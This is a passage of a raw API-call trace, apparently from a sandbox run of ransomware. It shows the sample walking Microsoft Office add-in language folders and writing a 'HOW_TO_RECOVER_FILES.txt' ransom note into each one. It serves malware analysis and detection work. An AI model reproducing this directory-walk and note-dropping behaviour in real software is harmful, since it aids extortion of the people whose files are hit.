ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.341] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.342] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b71118, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e5d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.no.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.342] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b71118, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e5d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.no.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0226.342] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0226.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.343] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0226.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0226.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\no\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0226.344] GetFileType (hFile=0x630) returned 0x1 [0226.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0226.345] GetFileType (hFile=0x630) returned 0x1 [0226.345] WriteFile (in: hFile=0x630, lpBuffer=0x37d9018*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x37d9018*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0226.346] CloseHandle (hObject=0x630) returned 1 [0226.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl", lpFilePart=0x0) returned 0x51 [0226.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0226.347] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.347] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7c83c72, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7c83c72, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15b9737d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.347] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4620012, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4620012, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4620012, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.348] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.348] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x231c662, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x231c662, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x231c662, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.348] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b24c93, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b4aee2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x505dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.348] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.348] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0226.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl", lpFilePart=0x0) returned 0x51 [0226.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0226.350] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.350] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7c83c72, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7c83c72, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15b9737d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.350] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4620012, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4620012, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4620012, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.350] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.350] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x231c662, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x231c662, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x231c662, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.350] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b24c93, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b4aee2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x505dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.351] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b24c93, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b4aee2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x505dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pl.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0226.351] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0226.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.352] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0226.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0226.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0226.353] GetFileType (hFile=0x630) returned 0x1 [0226.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0226.353] GetFileType (hFile=0x630) returned 0x1 [0226.353] WriteFile (in: hFile=0x630, lpBuffer=0x37ec7e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x37ec7e8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0226.354] CloseHandle (hObject=0x630) returned 1 [0226.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.355] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt", lpFilePart=0x0) returned 0x51 [0226.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0226.356] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.356] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc32591f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc32591f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1624bdaa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.356] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cd4a32, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cd4a32, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.356] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x443f20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x443f20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.357] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.357] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15bbd5ad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15cc8628, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f281, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pt.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.357] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.357] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0226.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.358] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt", lpFilePart=0x0) returned 0x51 [0226.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0226.358] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.359] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc32591f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc32591f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1624bdaa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.359] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cd4a32, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cd4a32, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.359] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x443f20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x443f20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.359] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.359] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15bbd5ad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15cc8628, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f281, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pt.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.359] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15bbd5ad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15cc8628, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 